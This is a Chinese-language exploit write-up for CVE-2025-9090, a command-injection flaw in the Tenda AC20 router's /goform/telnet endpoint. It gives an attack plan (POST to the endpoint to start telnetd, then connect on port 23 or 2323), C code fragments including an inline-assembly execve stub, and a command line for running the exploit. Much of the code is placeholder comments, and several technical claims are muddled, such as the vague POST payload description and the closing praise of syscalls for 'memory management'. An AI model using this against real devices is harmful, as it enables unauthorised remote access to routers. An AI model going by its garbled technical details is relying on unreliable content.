Tenda AC20 16.03.08.12 命令注入漏洞
风险等级: 中等
本地利用: 否
远程利用: 是
CVE编号: CVE-2025-9090
CWE编号: CWE-78
漏洞描述
在Tenda AC20路由器16.03.08.12版本中发现一个安全漏洞。受影响的组件是Telnet服务,具体位于/goform/telnet文件中的websFormDefine函数。
目标端点: /goform/telnet
服务位置: http://<IP>
完整目标URL: http://<IP>/goform/telnet
利用方案
- 构建完整URL
- 准备POST数据(Sleep + 完整URL + libcurl函数)
- 通过CURL发送POST请求
- 测量响应:HTTP代码、telnet访问(23)、错误词(not found)
- 确定成功并完成利用
技术实现
核心代码结构
1
2
3
4
5
6
7
8
9
10
11
12
|
#include <stdio.h>
#include "argparse.h"
#include <stdlib.h>
#include <string.h>
#include <curl/curl.h>
#include <arpa/inet.h>
#include <time.h>
#include <stdint.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <errno.h>
|
关键功能模块
内存管理
1
2
3
4
5
6
7
8
|
struct Mem {
char *buffer;
size_t len;
};
size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) {
// 处理HTTP响应数据的内存管理
}
|
Telnet连接检测
1
2
3
4
|
int connectionTelnet(const char *ip) {
int ports[] = {23, 2323};
// 尝试连接Telnet端口并检测服务状态
}
|
系统命令执行
1
2
3
4
5
6
7
8
9
10
|
int systemCommand(const char *ip) {
// 通过fork和execve执行telnet命令
pid_t pid = fork();
if (pid == 0) {
__asm__ volatile (
"mov $59, %%rax\n\t" // execve系统调用
"syscall\n\t"
);
}
}
|
主利用函数
1
2
3
4
5
|
void endPoint(const char *ip) {
// 构建目标URL: http://<IP>/goform/telnet
// 设置CURL选项和HTTP头
// 发送POST请求并分析响应
}
|
漏洞检测逻辑
- 请求发送: 向目标端点发送空POST请求
- 响应分析: 检查HTTP状态码和响应内容
- 特征检测: 在响应中搜索"load telnetd success"关键词
- 服务验证: 尝试连接Telnet端口(23, 2323)验证利用成功
利用成功指标
- HTTP状态码200-300范围内
- 响应中包含"load telnetd success"字符串
- 能够成功建立Telnet连接到目标设备
编译和运行
1
|
./CVE-2025-9090 -i <目标IP地址> [-c cookie文件] [-v 详细模式] [-f 请求次数]
|
该漏洞利用程序提供了完整的命令注入检测和利用能力,通过系统调用和内联汇编实现了高效的内存管理和进程控制。